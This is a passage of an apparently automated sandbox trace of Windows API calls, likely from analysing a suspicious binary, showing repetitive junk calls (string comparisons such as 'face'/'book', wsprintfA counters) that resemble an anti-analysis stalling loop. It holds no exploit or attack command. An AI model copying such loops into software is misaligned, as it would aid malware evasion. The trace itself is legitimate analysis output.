[0041.653] SetLastError (dwErrCode=0x57) [0041.653] GetCurrentProcessId () returned 0x81c [0041.653] GetCurrentProcessId () returned 0x81c [0041.653] GetCurrentProcessId () returned 0x81c [0041.653] GetCurrentProcessId () returned 0x81c [0041.653] lstrlenA (lpString="just string") returned 11 [0041.653] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.653] GetLastError () returned 0x57 [0041.653] GetLastError () returned 0x57 [0041.653] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.654] SetLastError (dwErrCode=0x57) [0041.654] GetCurrentProcess () returned 0xffffffff [0041.654] GetLastError () returned 0x57 [0041.654] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1ABCP") returned 5 [0041.654] SetLastError (dwErrCode=0x57) [0041.654] GetCurrentProcessId () returned 0x81c [0041.654] GetCurrentProcess () returned 0xffffffff [0041.654] GetLastError () returned 0x57 [0041.654] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1ABDP") returned 5 [0041.654] SetLastError (dwErrCode=0x57) [0041.654] GetCurrentProcessId () returned 0x81c [0041.654] GetLastError () returned 0x57 [0041.654] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1ABEP") returned 5 [0041.654] SetLastError (dwErrCode=0x57) [0041.654] GetCurrentProcessId () returned 0x81c [0041.654] GetCurrentProcessId () returned 0x81c [0041.654] GetCurrentProcessId () returned 0x81c [0041.654] GetCurrentProcessId () returned 0x81c [0041.654] lstrlenA (lpString="just string") returned 11 [0041.654] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.654] GetLastError () returned 0x57 [0041.654] GetLastError () returned 0x57 [0041.654] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.654] SetLastError (dwErrCode=0x57) [0041.654] GetCurrentProcess () returned 0xffffffff [0041.654] GetLastError () returned 0x57 [0041.654] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1B02P") returned 5 [0041.654] SetLastError (dwErrCode=0x57) [0041.654] GetCurrentProcessId () returned 0x81c [0041.654] GetCurrentProcess () returned 0xffffffff [0041.654] GetLastError () returned 0x57 [0041.654] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1B03P") returned 5 [0041.654] SetLastError (dwErrCode=0x57) [0041.654] GetCurrentProcessId () returned 0x81c [0041.654] GetLastError () returned 0x57 [0041.654] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1B04P") returned 5 [0041.654] SetLastError (dwErrCode=0x57) [0041.654] GetCurrentProcessId () returned 0x81c [0041.654] GetCurrentProcessId () returned 0x81c [0041.654] GetCurrentProcessId () returned 0x81c [0041.654] GetCurrentProcessId () returned 0x81c [0041.654] lstrlenA (lpString="just string") returned 11 [0041.654] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.654] GetLastError () returned 0x57 [0041.654] GetLastError () returned 0x57 [0041.654] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.654] SetLastError (dwErrCode=0x57) [0041.654] GetCurrentProcess () returned 0xffffffff [0041.654] GetLastError () returned 0x57 [0041.654] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1B34P") returned 5 [0041.654] SetLastError (dwErrCode=0x57) [0041.654] GetCurrentProcessId () returned 0x81c [0041.654] GetCurrentProcess () returned 0xffffffff [0041.654] GetLastError () returned 0x57 [0041.654] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1B35P") returned 5 [0041.654] SetLastError (dwErrCode=0x57) [0041.654] GetCurrentProcessId () returned 0x81c [0041.655] GetLastError () returned 0x57 [0041.655] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1B36P") returned 5 [0041.655] SetLastError (dwErrCode=0x57) [0041.655] GetCurrentProcessId () returned 0x81c [0041.655] GetCurrentProcessId () returned 0x81c [0041.655] GetCurrentProcessId () returned 0x81c [0041.655] GetCurrentProcessId () returned 0x81c [0041.655] lstrlenA (lpString="just string") returned 11 [0041.655] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.655] GetLastError () returned 0x57 [0041.655] lstrlenA (lpString="just string") returned 11 [0041.655] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.655] GetLastError () returned 0x57 [0041.655] GetLastError () returned 0x57 [0041.655] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.655] SetLastError (dwErrCode=0x57) [0041.655] GetCurrentProcess () returned 0xffffffff [0041.655] GetLastError () returned 0x57 [0041.655] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1B8EP") returned 5 [0041.655] SetLastError (dwErrCode=0x57) [0041.655] GetCurrentProcessId () returned 0x81c [0041.655] GetCurrentProcess () returned 0xffffffff [0041.655] GetLastError () returned 0x57 [0041.655] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1B8FP") returned 5 [0041.655] SetLastError (dwErrCode=0x57) [0041.655] GetCurrentProcessId () returned 0x81c [0041.655] GetLastError () returned 0x57 [0041.655] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1B90P") returned 5 [0041.655] SetLastError (dwErrCode=0x57) [0041.655] GetCurrentProcessId () returned 0x81c [0041.655] GetCurrentProcessId () returned 0x81c [0041.655] GetCurrentProcessId () returned 0x81c [0041.655] GetCurrentProcessId () returned 0x81c [0041.655] lstrlenA (lpString="just string") returned 11 [0041.655] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.655] GetLastError () returned 0x57 [0041.655] GetCurrentProcess () returned 0xffffffff [0041.655] GetLastError () returned 0x57 [0041.655] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1BA3P") returned 5 [0041.655] SetLastError (dwErrCode=0x57) [0041.655] GetCurrentProcessId () returned 0x81c [0041.655] GetLastError () returned 0x57 [0041.655] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1BA4P") returned 5 [0041.655] SetLastError (dwErrCode=0x57) [0041.655] GetCurrentProcessId () returned 0x81c [0041.655] GetCurrentProcessId () returned 0x81c [0041.655] GetCurrentProcessId () returned 0x81c [0041.655] GetCurrentProcessId () returned 0x81c [0041.655] lstrlenA (lpString="just string") returned 11 [0041.655] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.655] GetLastError () returned 0x57 [0041.655] GetCurrentProcessId () returned 0x81c [0041.655] GetCurrentProcessId () returned 0x81c [0041.655] GetCurrentProcessId () returned 0x81c [0041.655] lstrlenA (lpString="just string") returned 11 [0041.655] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.655] GetLastError () returned 0x57 [0041.655] GetLastError () returned 0x57 [0041.655] GetCurrentProcessId () returned 0x81c [0041.655] GetCurrentProcessId () returned 0x81c [0041.655] lstrlenA (lpString="just string") returned 11 [0041.656] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.656] GetLastError () returned 0x57 [0041.656] lstrlenA (lpString="just string") returned 11 [0041.656] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.656] GetLastError () returned 0x57 [0041.656] GetCurrentProcess () returned 0xffffffff [0041.656] GetLastError () returned 0x57 [0041.656] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1C57P") returned 5 [0041.656] SetLastError (dwErrCode=0x57) [0041.656] GetCurrentProcessId () returned 0x81c [0041.656] GetLastError () returned 0x57 [0041.656] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1C58P") returned 5 [0041.656] SetLastError (dwErrCode=0x57) [0041.656] GetCurrentProcessId () returned 0x81c [0041.656] GetCurrentProcessId () returned 0x81c [0041.656] GetCurrentProcessId () returned 0x81c [0041.656] GetCurrentProcessId () returned 0x81c [0041.656] lstrlenA (lpString="just string") returned 11 [0041.656] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.656] GetLastError () returned 0x57 [0041.656] GetCurrentProcessId () returned 0x81c [0041.656] GetCurrentProcessId () returned 0x81c [0041.656] lstrlenA (lpString="just string") returned 11 [0041.656] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.656] GetLastError () returned 0x57 [0041.656] GetLastError () returned 0x57 [0041.656] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.656] SetLastError (dwErrCode=0x57) [0041.656] GetCurrentProcess () returned 0xffffffff [0041.656] GetLastError () returned 0x57 [0041.656] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1C92P") returned 5 [0041.656] SetLastError (dwErrCode=0x57) [0041.656] GetCurrentProcessId () returned 0x81c [0041.656] GetCurrentProcess () returned 0xffffffff [0041.656] GetLastError () returned 0x57 [0041.656] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1C93P") returned 5 [0041.656] SetLastError (dwErrCode=0x57) [0041.656] GetCurrentProcessId () returned 0x81c [0041.656] GetLastError () returned 0x57 [0041.656] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1C94P") returned 5 [0041.656] SetLastError (dwErrCode=0x57) [0041.656] GetCurrentProcessId () returned 0x81c [0041.656] GetCurrentProcessId () returned 0x81c [0041.656] GetCurrentProcessId () returned 0x81c [0041.656] GetCurrentProcessId () returned 0x81c [0041.656] lstrlenA (lpString="just string") returned 11 [0041.656] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.656] GetLastError () returned 0x57 [0041.656] GetLastError () returned 0x57 [0041.656] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1CDAP") returned 5 [0041.656] SetLastError (dwErrCode=0x57) [0041.656] GetCurrentProcessId () returned 0x81c [0041.656] GetCurrentProcessId () returned 0x81c [0041.656] GetCurrentProcessId () returned 0x81c [0041.656] GetCurrentProcessId () returned 0x81c [0041.656] lstrlenA (lpString="just string") returned 11 [0041.656] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.656] GetLastError () returned 0x57 [0041.656] GetCurrentProcessId () returned 0x81c [0041.656] GetCurrentProcessId () returned 0x81c [0041.656] GetCurrentProcessId () returned 0x81c [0041.657] lstrlenA (lpString="just string") returned 11 [0041.657] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.657] GetLastError () returned 0x57 [0041.657] GetCurrentProcess () returned 0xffffffff [0041.657] GetLastError () returned 0x57 [0041.657] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1D15P") returned 5 [0041.657] SetLastError (dwErrCode=0x57) [0041.657] GetCurrentProcessId () returned 0x81c [0041.657] GetLastError () returned 0x57 [0041.657] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1D16P") returned 5 [0041.657] SetLastError (dwErrCode=0x57) [0041.657] GetCurrentProcessId () returned 0x81c [0041.657] GetCurrentProcessId () returned 0x81c [0041.657] GetCurrentProcessId () returned 0x81c [0041.657] GetCurrentProcessId () returned 0x81c [0041.657] lstrlenA (lpString="just string") returned 11 [0041.657] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.657] GetLastError () returned 0x57 [0041.657] GetCurrentProcessId () returned 0x81c [0041.657] GetCurrentProcessId () returned 0x81c [0041.657] lstrlenA (lpString="just string") returned 11 [0041.657] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.657] GetLastError () returned 0x57 [0041.657] lstrlenA (lpString="just string") returned 11 [0041.657] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.657] GetLastError () returned 0x57 [0041.657] GetCurrentProcess () returned 0xffffffff [0041.657] GetLastError () returned 0x57 [0041.657] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1DA1P") returned 5 [0041.657] SetLastError (dwErrCode=0x57) [0041.657] GetCurrentProcessId () returned 0x81c [0041.657] GetLastError () returned 0x57 [0041.657] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1DA2P") returned 5 [0041.657] SetLastError (dwErrCode=0x57) [0041.657] GetCurrentProcessId () returned 0x81c [0041.657] GetCurrentProcessId () returned 0x81c [0041.657] GetCurrentProcessId () returned 0x81c [0041.657] GetCurrentProcessId () returned 0x81c [0041.657] lstrlenA (lpString="just string") returned 11 [0041.657] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.657] GetLastError () returned 0x57 [0041.657] GetLastError () returned 0x57 [0041.657] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.657] SetLastError (dwErrCode=0x57) [0041.657] GetCurrentProcess () returned 0xffffffff [0041.657] GetLastError () returned 0x57 [0041.657] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1DD2P") returned 5 [0041.657] SetLastError (dwErrCode=0x57) [0041.657] GetCurrentProcessId () returned 0x81c [0041.657] GetCurrentProcess () returned 0xffffffff [0041.657] GetLastError () returned 0x57 [0041.657] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1DD3P") returned 5 [0041.657] SetLastError (dwErrCode=0x57) [0041.657] GetCurrentProcessId () returned 0x81c [0041.657] GetLastError () returned 0x57 [0041.657] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1DD4P") returned 5 [0041.657] SetLastError (dwErrCode=0x57) [0041.657] GetCurrentProcessId () returned 0x81c [0041.657] GetCurrentProcessId () returned 0x81c [0041.657] GetCurrentProcessId () returned 0x81c [0041.657] GetCurrentProcessId () returned 0x81c [0041.657] lstrlenA (lpString="just string") returned 11 [0041.658] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.658] GetLastError () returned 0x57 [0041.658] lstrlenA (lpString="just string") returned 11 [0041.658] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.658] GetLastError () returned 0x57 [0041.658] lstrlenA (lpString="just string") returned 11 [0041.658] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.658] GetLastError () returned 0x57 [0041.658] GetCurrentProcess () returned 0xffffffff [0041.658] GetLastError () returned 0x57 [0041.658] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1E4BP") returned 5 [0041.658] SetLastError (dwErrCode=0x57) [0041.658] GetCurrentProcessId () returned 0x81c [0041.658] GetLastError () returned 0x57 [0041.658] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1E4CP") returned 5 [0041.658] SetLastError (dwErrCode=0x57) [0041.658] GetCurrentProcessId () returned 0x81c [0041.658] GetCurrentProcessId () returned 0x81c [0041.658] GetCurrentProcessId () returned 0x81c [0041.658] GetCurrentProcessId () returned 0x81c [0041.658] lstrlenA (lpString="just string") returned 11 [0041.658] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.658] GetLastError () returned 0x57 [0041.658] GetLastError () returned 0x57 [0041.658] GetCurrentProcess () returned 0xffffffff [0041.658] GetLastError () returned 0x57 [0041.658] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1E87P") returned 5 [0041.658] SetLastError (dwErrCode=0x57) [0041.658] GetCurrentProcessId () returned 0x81c [0041.658] GetLastError () returned 0x57 [0041.658] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1E88P") returned 5 [0041.658] SetLastError (dwErrCode=0x57) [0041.658] GetCurrentProcessId () returned 0x81c [0041.658] GetCurrentProcessId () returned 0x81c [0041.658] GetCurrentProcessId () returned 0x81c [0041.658] GetCurrentProcessId () returned 0x81c [0041.658] lstrlenA (lpString="just string") returned 11 [0041.658] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.658] GetLastError () returned 0x57 [0041.658] GetLastError () returned 0x57 [0041.658] GetLastError () returned 0x57 [0041.658] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.658] SetLastError (dwErrCode=0x57) [0041.658] GetCurrentProcess () returned 0xffffffff [0041.658] GetLastError () returned 0x57 [0041.658] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1EEAP") returned 5 [0041.658] SetLastError (dwErrCode=0x57) [0041.658] GetCurrentProcessId () returned 0x81c [0041.658] GetCurrentProcess () returned 0xffffffff [0041.658] GetLastError () returned 0x57 [0041.658] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1EEBP") returned 5 [0041.658] SetLastError (dwErrCode=0x57) [0041.658] GetCurrentProcessId () returned 0x81c [0041.658] GetLastError () returned 0x57 [0041.658] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1EECP") returned 5 [0041.658] SetLastError (dwErrCode=0x57) [0041.658] GetCurrentProcessId () returned 0x81c [0041.658] GetCurrentProcessId () returned 0x81c [0041.658] GetCurrentProcessId () returned 0x81c [0041.658] GetCurrentProcessId () returned 0x81c [0041.658] lstrlenA (lpString="just string") returned 11 [0041.659] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.659] GetLastError () returned 0x57 [0041.659] GetCurrentProcessId () returned 0x81c [0041.659] GetCurrentProcessId () returned 0x81c [0041.659] lstrlenA (lpString="just string") returned 11 [0041.659] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.659] GetLastError () returned 0x57 [0041.659] GetCurrentProcessId () returned 0x81c [0041.659] GetCurrentProcessId () returned 0x81c [0041.659] GetCurrentProcessId () returned 0x81c [0041.659] lstrlenA (lpString="just string") returned 11 [0041.659] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.659] GetLastError () returned 0x57 [0041.659] GetCurrentProcess () returned 0xffffffff [0041.659] GetLastError () returned 0x57 [0041.659] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1FB3P") returned 5 [0041.659] SetLastError (dwErrCode=0x57) [0041.659] GetCurrentProcessId () returned 0x81c [0041.659] GetLastError () returned 0x57 [0041.659] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1FB4P") returned 5 [0041.659] SetLastError (dwErrCode=0x57) [0041.659] GetCurrentProcessId () returned 0x81c [0041.659] GetCurrentProcessId () returned 0x81c [0041.659] GetCurrentProcessId () returned 0x81c [0041.659] GetCurrentProcessId () returned 0x81c [0041.659] lstrlenA (lpString="just string") returned 11 [0041.659] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.659] GetLastError () returned 0x57 [0041.659] GetLastError () returned 0x57 [0041.659] lstrlenA (lpString="just string") returned 11 [0041.659] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.659] GetLastError () returned 0x57 [0041.659] GetCurrentProcess () returned 0xffffffff [0041.659] GetLastError () returned 0x57 [0041.659] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="203FP") returned 5 [0041.659] SetLastError (dwErrCode=0x57) [0041.659] GetCurrentProcessId () returned 0x81c [0041.659] GetLastError () returned 0x57 [0041.659] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2040P") returned 5 [0041.659] SetLastError (dwErrCode=0x57) [0041.659] GetCurrentProcessId () returned 0x81c [0041.659] GetCurrentProcessId () returned 0x81c [0041.659] GetCurrentProcessId () returned 0x81c [0041.659] GetCurrentProcessId () returned 0x81c [0041.659] lstrlenA (lpString="just string") returned 11 [0041.659] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.659] GetLastError () returned 0x57 [0041.659] GetLastError () returned 0x57 [0041.659] GetCurrentProcess () returned 0xffffffff [0041.659] GetLastError () returned 0x57 [0041.659] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="20ADP") returned 5 [0041.659] SetLastError (dwErrCode=0x57) [0041.659] GetCurrentProcessId () returned 0x81c [0041.659] GetLastError () returned 0x57 [0041.659] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="20AEP") returned 5 [0041.659] SetLastError (dwErrCode=0x57) [0041.659] GetCurrentProcessId () returned 0x81c [0041.659] GetCurrentProcessId () returned 0x81c [0041.659] GetCurrentProcessId () returned 0x81c [0041.659] GetCurrentProcessId () returned 0x81c [0041.659] lstrlenA (lpString="just string") returned 11 [0041.659] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.659] GetLastError () returned 0x57 [0041.659] GetLastError () returned 0x57 [0041.660] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.660] SetLastError (dwErrCode=0x57) [0041.660] GetCurrentProcess () returned 0xffffffff [0041.660] GetLastError () returned 0x57 [0041.660] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="20B6P") returned 5 [0041.660] SetLastError (dwErrCode=0x57) [0041.660] GetCurrentProcessId () returned 0x81c [0041.660] GetCurrentProcess () returned 0xffffffff [0041.660] GetLastError () returned 0x57 [0041.660] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="20B7P") returned 5 [0041.660] SetLastError (dwErrCode=0x57) [0041.660] GetCurrentProcessId () returned 0x81c [0041.660] GetLastError () returned 0x57 [0041.660] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="20B8P") returned 5 [0041.660] SetLastError (dwErrCode=0x57) [0041.660] GetCurrentProcessId () returned 0x81c [0041.660] GetCurrentProcessId () returned 0x81c [0041.660] GetCurrentProcessId () returned 0x81c [0041.660] GetCurrentProcessId () returned 0x81c [0041.660] lstrlenA (lpString="just string") returned 11 [0041.660] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.660] GetLastError () returned 0x57 [0041.660] GetLastError () returned 0x57 [0041.660] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.660] SetLastError (dwErrCode=0x57) [0041.660] GetCurrentProcess () returned 0xffffffff [0041.660] GetLastError () returned 0x57 [0041.660] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="20F2P") returned 5 [0041.660] SetLastError (dwErrCode=0x57) [0041.660] GetCurrentProcessId () returned 0x81c [0041.660] GetCurrentProcess () returned 0xffffffff [0041.660] GetLastError () returned 0x57 [0041.660] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="20F3P") returned 5 [0041.660] SetLastError (dwErrCode=0x57) [0041.660] GetCurrentProcessId () returned 0x81c [0041.660] GetLastError () returned 0x57 [0041.660] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="20F4P") returned 5 [0041.660] SetLastError (dwErrCode=0x57) [0041.660] GetCurrentProcessId () returned 0x81c [0041.660] GetCurrentProcessId () returned 0x81c [0041.660] GetCurrentProcessId () returned 0x81c [0041.660] GetCurrentProcessId () returned 0x81c [0041.660] lstrlenA (lpString="just string") returned 11 [0041.660] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.660] GetLastError () returned 0x57 [0041.660] GetCurrentProcess () returned 0xffffffff [0041.660] GetLastError () returned 0x57 [0041.660] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2111P") returned 5 [0041.660] SetLastError (dwErrCode=0x57) [0041.660] GetCurrentProcessId () returned 0x81c [0041.660] GetLastError () returned 0x57 [0041.660] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2112P") returned 5 [0041.660] SetLastError (dwErrCode=0x57) [0041.660] GetCurrentProcessId () returned 0x81c [0041.660] GetCurrentProcessId () returned 0x81c [0041.660] GetCurrentProcessId () returned 0x81c [0041.660] GetCurrentProcessId () returned 0x81c [0041.660] lstrlenA (lpString="just string") returned 11 [0041.660] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.660] GetLastError () returned 0x57 [0041.661] GetCurrentProcessId () returned 0x81c [0041.661] GetCurrentProcessId () returned 0x81c [0041.661] GetCurrentProcessId () returned 0x81c [0041.661] lstrlenA (lpString="just string") returned 11 [0041.661] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.661] GetLastError () returned 0x57 [0041.661] GetCurrentProcessId () returned 0x81c [0041.661] lstrlenA (lpString="just string") returned 11 [0041.661] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.661] GetLastError () returned 0x57 [0041.661] GetLastError () returned 0x57 [0041.661] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.661] SetLastError (dwErrCode=0x57) [0041.661] GetCurrentProcess () returned 0xffffffff [0041.661] GetLastError () returned 0x57 [0041.661] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="217EP") returned 5 [0041.661] SetLastError (dwErrCode=0x57) [0041.661] GetCurrentProcessId () returned 0x81c [0041.661] GetCurrentProcess () returned 0xffffffff [0041.661] GetLastError () returned 0x57 [0041.661] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="217FP") returned 5 [0041.661] SetLastError (dwErrCode=0x57) [0041.661] GetCurrentProcessId () returned 0x81c [0041.661] GetLastError () returned 0x57 [0041.661] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2180P") returned 5 [0041.661] SetLastError (dwErrCode=0x57) [0041.661] GetCurrentProcessId () returned 0x81c [0041.661] GetCurrentProcessId () returned 0x81c [0041.661] GetCurrentProcessId () returned 0x81c [0041.661] GetCurrentProcessId () returned 0x81c [0041.661] lstrlenA (lpString="just string") returned 11 [0041.661] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.661] GetLastError () returned 0x57 [0041.661] GetCurrentProcessId () returned 0x81c [0041.661] GetCurrentProcessId () returned 0x81c [0041.661] GetCurrentProcessId () returned 0x81c [0041.661] lstrlenA (lpString="just string") returned 11 [0041.661] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.661] GetLastError () returned 0x57 [0041.661] lstrlenA (lpString="just string") returned 11 [0041.661] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.661] GetLastError () returned 0x57 [0041.661] lstrlenA (lpString="just string") returned 11 [0041.661] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.661] GetLastError () returned 0x57 [0041.661] lstrlenA (lpString="just string") returned 11 [0041.661] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.661] GetLastError () returned 0x57 [0041.661] lstrlenA (lpString="just string") returned 11 [0041.661] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.661] GetLastError () returned 0x57 [0041.661] GetLastError () returned 0x57 [0041.661] GetLastError () returned 0x57 [0041.661] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.661] SetLastError (dwErrCode=0x57) [0041.661] GetCurrentProcess () returned 0xffffffff [0041.661] GetLastError () returned 0x57 [0041.661] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="228CP") returned 5 [0041.662] SetLastError (dwErrCode=0x57) [0041.662] GetCurrentProcessId () returned 0x81c [0041.662] GetCurrentProcess () returned 0xffffffff [0041.662] GetLastError () returned 0x57 [0041.662] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="228DP") returned 5 [0041.662] SetLastError (dwErrCode=0x57) [0041.662] GetCurrentProcessId () returned 0x81c [0041.662] GetLastError () returned 0x57 [0041.662] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="228EP") returned 5 [0041.662] SetLastError (dwErrCode=0x57) [0041.662] GetCurrentProcessId () returned 0x81c [0041.662] GetCurrentProcessId () returned 0x81c [0041.662] GetCurrentProcessId () returned 0x81c [0041.662] GetCurrentProcessId () returned 0x81c [0041.662] lstrlenA (lpString="just string") returned 11 [0041.662] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.662] GetLastError () returned 0x57 [0041.662] GetLastError () returned 0x57 [0041.662] GetLastError () returned 0x57 [0041.662] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="22DEP") returned 5 [0041.662] SetLastError (dwErrCode=0x57) [0041.662] GetCurrentProcessId () returned 0x81c [0041.662] GetCurrentProcessId () returned 0x81c [0041.662] GetCurrentProcessId () returned 0x81c [0041.662] GetCurrentProcessId () returned 0x81c [0041.662] lstrlenA (lpString="just string") returned 11 [0041.662] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.662] GetLastError () returned 0x57 [0041.663] GetCurrentProcess () returned 0xffffffff [0041.663] GetLastError () returned 0x57 [0041.663] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="230FP") returned 5 [0041.663] SetLastError (dwErrCode=0x57) [0041.663] GetCurrentProcessId () returned 0x81c [0041.663] GetLastError () returned 0x57 [0041.663] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2310P") returned 5 [0041.663] SetLastError (dwErrCode=0x57) [0041.663] GetCurrentProcessId () returned 0x81c [0041.663] GetCurrentProcessId () returned 0x81c [0041.663] GetCurrentProcessId () returned 0x81c [0041.663] GetCurrentProcessId () returned 0x81c [0041.663] lstrlenA (lpString="just string") returned 11 [0041.663] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.663] GetLastError () returned 0x57 [0041.663] GetCurrentProcessId () returned 0x81c [0041.663] GetCurrentProcessId () returned 0x81c [0041.663] GetCurrentProcessId () returned 0x81c [0041.663] lstrlenA (lpString="just string") returned 11 [0041.663] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.663] GetLastError () returned 0x57 [0041.663] GetLastError () returned 0x57 [0041.663] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2360P") returned 5 [0041.663] SetLastError (dwErrCode=0x57) [0041.663] GetCurrentProcessId () returned 0x81c [0041.663] GetCurrentProcessId () returned 0x81c [0041.663] GetCurrentProcessId () returned 0x81c [0041.663] GetCurrentProcessId () returned 0x81c [0041.663] lstrlenA (lpString="just string") returned 11 [0041.663] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.663] GetLastError () returned 0x57 [0041.663] GetLastError () returned 0x57 [0041.663] GetLastError () returned 0x57 [0041.663] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | 